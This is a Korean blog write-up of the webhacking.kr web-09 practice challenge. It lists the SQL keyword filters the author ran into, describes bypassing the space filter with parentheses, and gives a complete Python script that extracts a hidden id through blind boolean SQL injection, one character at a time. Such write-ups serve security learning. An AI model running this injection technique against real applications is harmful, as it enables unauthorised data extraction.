반응형

이번 문제는 기존의 생각을 뒤바꿔준 문제였다.

자세한 것은 문제를 풀며 알아가보자.



문제에 접근하면 다음과 같이 1 2 3이 있으며 1과 2를 누르면 해당 no에 해당하는 id 값이 출력된다.

이 때, 3을 클릭하면 [ no 3's id is password ] 이라는 문구와 함께 column은 id와 no라고 알려준다.


Injection이 가능한지는 다음과 같이 입력해서 알 수 있었다.

위의 입력을 통해 no=2일 때와 결과가 동일하게 나왔기 때문에 SQLi라는 것을 확인하고 진행하였다.


확인 결과 필터링이 굉장히 많았다. (필터링에 걸리면 Access Denied가 출력된다.)

내가 확인한 필터링만 해도 아래와 같다.

- %

- and, or, &&, ||

- select

- 공백

- union


가장 먼저 시도한 것은 no=3 and substr(id,1,1)='a' 이런 식이였는데 공백도 막히고 and도 막혔는데 거기에 %까지 막혀버리니;;

그래도 띄어쓰기는 괄호를 이용하여 우회할 수 있었는데 '내가 원하는 no가 3일 때의 id를 어떻게 조회를 할 수 있는가'의 개념에서 막혔다.


그래서 이에 대한 삽질의 결과가 아래 포스팅에 담겨있다.

https://rootable.tistory.com/entry/SQL-Injection-and-filter-bypass


이를 통해 no가 3일 때의 id 값에 대해 조회를 할 수 있었고 이를 기반으로 아래 파이썬 코드를 통해 패스워드를 획득할 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
def calc_len(url):
    for i in range(1,20):
        param='if((length(id))in('+str(i)+'),3,9)'
        req=requests.get(url+param)
        if('Secret' in req.text):
            print("[+]Find length : "+str(i))
            return i
 
def find_id(url,length):
    id=''
 
    for i in range(1,length+1):
        for j in range(97,123):
            param="if((substr(id,"+str(i)+",1))in('"+chr(j)+"'),3,9)"
            print(param)
            req=requests.get(url+param)
            if('Secret' in req.text):
                print("[+]Find "+str(i)+"'s id : "+chr(j))
                id+=chr(j)
                break
 
    return id
 
 
url="https://webhacking.kr/challenge/web-09/?no="
length = calc_len(url)
id=find_id(url,length)
print("solve id : "+id)
cs



반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-60 writeup  (0) 2020.04.13
[Webhacking.kr] old-47  (0) 2020.04.10
4번 문제  (0) 2020.04.01
[webhacking.kr] 19번 문제  (0) 2018.03.17
[webhacking.kr] 20번 문제  (0) 2018.03.09
블로그 이미지

rootable

,